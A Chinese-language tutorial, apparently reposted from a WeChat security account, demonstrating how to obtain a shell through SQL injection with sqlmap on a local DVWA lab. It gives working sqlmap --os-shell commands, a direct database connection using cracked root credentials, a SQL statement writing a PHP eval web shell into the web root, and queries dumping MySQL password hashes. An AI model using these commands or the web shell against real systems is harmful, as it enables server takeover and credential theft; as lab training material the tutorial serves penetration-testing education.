使用sqlmap在理想环境下获取shell（mysql）

   使用sqlmap神器跑注入时，在理想环境下有多种获取shell的方式，本文使用DVWA漏洞环境来一一演示。

一、dba权限且已知网站根目录

dvwa注入页面：

sqlmap跑一下，注意加上cookie，或者直接跑抓到的http包也可以：

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b5briqabn1j0si2rtdqt3f8e0" --batch

dba权限：sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b5briqabn1j0si2rtdqt3f8e0" --is-dba

由于是自己搭的环境，已知根目录D:xampphtdocs，实际环境中要利用网站报错或其他信息泄露漏洞找到网站根目录，此方法比较多，比如：PHPinfo文件，访问错误报路径，debug调试开启爆路径或--sql-shell后进行数据库目录查询等，--os-shell获取系统shell：

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4b5briqabn1j0si2rtdqt3f8e0" --os-shell

选项一为用这几个路径，选项二为用户自己输入，选项三为用用户的字典，选项四为爆破：

然后就可以执行命令了：

二、破解出密码直连数据库获取shell

--passwords获取数据库密码：

MD5解密密码为root，sqlmap直连数据库：

sqlmap.py -d "mysql://root:[email protected]:3306/dvwa" --os-shell

执行系统命令：

三、--sql-dba写shell，前提是有写权限

select '<?php @eval($_GET[a]);?>'INTO OUTFILE 'D:xampphtdocsdvwahahah.php';

执行命令：

   方法还有很多，也可以几种方法组合来使用，如使用--sql-shell后用select host,user,password from mysql.user;命令获取数据库连接密码；select @@plugin_dir;获取数据库目录，进而猜解网站根目录等等等等方法：

关注公众号了解更多资讯

纵横安区圈

原文始发于微信公众号（纵横安全圈）：使用sqlmap在理想环境下获取shell（mysql）